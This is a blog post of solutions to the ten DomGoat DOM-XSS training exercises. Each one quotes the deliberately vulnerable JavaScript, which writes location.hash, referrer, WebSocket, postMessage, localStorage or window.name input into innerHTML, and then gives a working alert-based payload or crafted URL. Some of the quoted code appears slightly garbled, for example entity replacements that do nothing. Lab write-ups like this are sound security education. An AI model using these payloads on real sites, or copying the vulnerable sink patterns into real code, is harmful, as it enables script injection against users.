DOM-based Cross site Scripting (XSS) is a type of XSS where user input is written to a web pages’ Document Object Model without proper sanitization. This could be abused by an attacker to manipulate this data to include malicious JavaScript code.
Domgoat has 10 exercises of Dom XSS. Some examples where user input come from are location.href,document.URL, document.baseURI etc leading to a sink function such as document.write, document.writeln, innerHTML etc.
A detailed explanation of DOM sources can be found here: Client XSS Sources
- URL-based DOM Property Sources - `location.href, document.URL etc
- Navigation-based DOM Property Sources - window.name, document.referrer`
- Communication based Sources - `Window Messaging, WebSocket
- Storage-based Sources - SessionStorage, LocalStorage`
A detailed explanation of DOM sinks can be found here: Client XSS Sinks
- Sinks that execute payload as JavaScript - eval, setTimeout, setInterval
- Sinks that evaluate JavaScript URIs - location, location.href, location.assign
- Sinks that execute payload as HTML - innerHTML, outerHTML, document.write, document.writeln
This blog will share solutions for DomGoat, a DOM XSS challenge bed.
Exercise - 1
1
2
3
4
5
6
let hash = location.hash;
if (hash.length > 1) {
let hashValueToUse = unescape(hash.substr(1));
let msg = "Welcome <b>" + hashValueToUse + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
}
The source where user input is flowing from is location.hash and the sink where user input ends up is HTMLElement.innerHTML.
1
<object/onerror=alert(document.domain)>
1
https://domgo.at/cxss/example/1?payload=abcd&sp=x#%3Cobject/onerror=alert(document.domain)%3E
Exercise - 2
1
2
3
4
5
6
7
8
let rfr = document.referrer;
let paramValue = unescape(getPayloadParamValueFromUrl(rfr));
if (paramValue.length > 0) {
let msg = "Welcome <b>" + paramValue + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
} else {
document.getElementById("msgboard").innerHTML = "Parameter named <b>payload</b> was not found in the referrer.";
}
The source where user input is flowing from is document.referrer and the sink where user input ends up is HTMLElement.innerHTML.
Looking at the above JavaScript code, the document.referrer is sent the the getPayloadParamValueFromUrl function.
This function is looking for a parameter called payload is returning that to the msg variable which is then given to innerHTML.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let getPayloadParamValueFromUrl = function (url) {
let paramName = "payload=";
if (url.indexOf(paramName) > -1) { //check for value payload
let part = url.substr(rfr.indexOf(paramName));
part = part.split(paramName)[1]; //extract payload parameter value
if (part.indexOf("#") > -1) { //check for hash sign within the value
part = part.split("#")[0]; //extract the hash value
}
part = part.split("&")[0];
document.write(part.split("&")[0]);
return part;
}
return "";
};
The same payload from Exercise 1 can be used. Here Exercise 1 page is first visited.
1
https://domgo.at/cxss/example/1?payload=abcd%3Cobject/onerror=alert(window.location.pathname)%3E&sp=x#11
The Exercise 2 page can now be visited to execute XSS.
Exercise - 3
1
2
3
4
let responseBody = xhr.responseText;
let responeBodyObject = JSON.parse(responseBody);
let msg = "Welcome <b>" + responeBodyObject.payload + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
The source where user input is flowing from is xhr.responseText; and the sink where user input ends up is HTMLElement.innerHTML.
Here a input form is provided to insert some user input, this is then sent to the following endpoint
1
2
xhr.open("GET", '/data.json?payload=' + escape(payload), true);
xhr.send();
This is then returned innerHTML.
A payload such as the following can be inserted into the payload box.
1
<iframe/onload=alert(window.location.pathname)>
Exercise - 4
1
2
3
4
5
6
7
8
let ws = new WebSocket(webSocketUrl);
ws.onmessage = function (evt) {
let rawMsg = evt.data;
let msgJson = JSON.parse(rawMsg);
let msg = "Welcome <b>" + msgJson.payload + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
};
The source where user input is flowing from is ws.onmessage and the sink where user input ends up is HTMLElement.innerHTML.
Looking at the HTML source, user input from the payloadbox input form is sent to a /ws endpoint
1
2
let payload = document.getElementById('payloadbox').value;
ws.send(payload);
This is then returned to HTML.
1
<iframe/onload=alert(window.location.pathname)>
Exercise - 5
1
2
3
4
5
window.onmessage = function (evt) {
let msgObj = evt.data;
let msg = "Welcome <b>" + msgObj.payload + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
};
The source where user input is flowing from is postMessage and the sink where user input ends up is HTMLElement.innerHTML.
In the below code, the window.postMessage() method is used to send a request to a window object and this data is printed back to the msgboard.
1
2
3
4
5
6
7
8
window.onload = function () {
processPayload();
};
let processPayload = function () {
let payload = document.getElementById('payloadbox').value;
frames[0].postMessage(payload, location.origin);
The following can be inserted to the payloadbox.
1
<iframe/onload=alert(window.location.pathname)>
Exercise - 6
1
2
3
let payloadValue = localStorage.getItem("payload", payload);
let msg = "Welcome " + payload + "!!";
document.getElementById("msgboard").innerHTML = msg;
The source where user input is flowing from is localStorage.getItem and the sink where user input ends up is HTMLElement.innerHTML.
Any user input inserted into the payloadbox is stored within the browser’s local storage.
1
2
3
4
5
let processPayload = function () {
let payload = document.getElementById('payloadbox').value;
localStorage.setItem("payload", payload);
readPayload();
};
This is then reflected back in a user’s page.
1
<svg/onload=alert(window.location.pathname)>
Exercise - 7
1
2
3
4
5
let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;
hashValueToUse = hashValueToUse.replace(/</g, "<").replace(/>/g, ">");
let msg = "<a href='#user=" + hashValueToUse + "'>Welcome</a>!!";
document.getElementById("msgboard").innerHTML = msg;
The source where user input is flowing from is location.hash and the sink where user input ends up is HTMLElement.innerHTML.
The user input here is concentated as part of a href link <a href='#user=" + hashValueToUse + "'>Welcome</a>
. In is possible to break out of this attribute context using another JavaScript event handler.
1
#' onmouseover=alert(window.location.pathname)//
1
https://domgo.at/cxss/example/7#%23%27%20onmouseover%3Dalert(window.location.pathname)%2F%2F
Exercise - 8
1
2
3
4
5
6
7
8
9
let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;
if (hashValueToUse.indexOf("=") > -1 ) {
hashValueToUse = hashValueToUse.substr(hashValueToUse.indexOf("=")+1);
hashValueToUse = hashValueToUse.replace(/</g, "<").replace(/>/g, ">");
let msg = "<a href='#user=" + hashValueToUse + "'>Welcome</a>!!";
document.getElementById("msgboard").innerHTML = msg;
}
The source where user input is flowing from is location.hash and the sink where user input ends up is HTMLElement.innerHTML.
Here from the location.hash value, the = sign is check to be present through hashValueToUse.indexOf(“=”)+1 and everything after this is extracted. Any greater than or less than sign is also converted to HTML entities.
1
#' onmouseover=alert(window.location.pathname)//
1
https://domgo.at/cxss/example/8#=%23%27%20onmouseover%3Dalert(window.location.pathname)%2F%2F
Exercise - 9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;
if (hashValueToUse.indexOf("=") > -1 ) {
hashValueToUse = hashValueToUse.substr(hashValueToUse.indexOf("=") + 1);
if (hashValueToUse.length > 1) {
hashValueToUse = hashValueToUse.substr(0, 10);
hashValueToUse = hashValueToUse.replace(/"/g, """);
let windowValueToUse = window.name.replace(/"/g, """);
let msg = "<a href=\"" + hashValueToUse + windowValueToUse + "\">Welcome</a>!!";
document.getElementById("msgboard").innerHTML = msg;
}
}
The source where user input is flowing from is location.hash as part of window.name and the sink where user input ends up is HTMLElement.innerHTML.
The Window.name property gets/sets the name of the window’s browsing context. The location.hash value of this window is then reflected back to the user. This can be emulated by creating a new webpage somewhere with the following JavaScript code.
1
2
3
4
5
<html>
<script>
window.open('https://domgo.at/cxss/example/9#user=javascript', ':alert(window.location.pathname)');
</script>
</html>
When openedm this will open a new window with the user parameter being javascript and the window.name being :alert(window.location.pathname).
The “Welcome” link can be clicked to execute JavaScript.
Exercise - 10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
let urlParts = location.href.split("?");
if (urlParts.length > 1) {
let queryString = urlParts[1];
let queryParts = queryString.split("&");
let userId = "";
for (let i = 0; i < queryParts.length; i++) {
let keyVal = queryParts[i].split("=");
if (keyVal.length > 1) {
if (keyVal[0] === "user") {
userId = keyVal[1];
break;
}
}
}
if (userId.startsWith("ID-")) {
userId = userId.substr(3, 10);
userId = userId.replace(/"/g, """);
let windowValueToUse = window.name.replace(/"/g, """);
let msg = "<a href=\"" + userId + windowValueToUse + "\">Welcome</a>!!";
document.getElementById("msgboard").innerHTML = msg;
}
}
The source where user input is flowing from is location.hash as part of window.name and the sink where user input ends up is HTMLElement.innerHTML.
The value of the parameter user is extracted, this value is then checked to see if the value ID- is present. If so, the value after ID- is extracted, all double quotes are replaced within this parameter and the window.name property. this is then inserted as part of a href link: <a href=\"" + userId + windowValueToUse + "\">Welcome</a>
which is served to innerHTML.
1
2
3
<script>
window.open('https://domgo.at/cxss/example/10?lang=en&user=ID-javascript', ':alert(window.location.pathname)');
</script>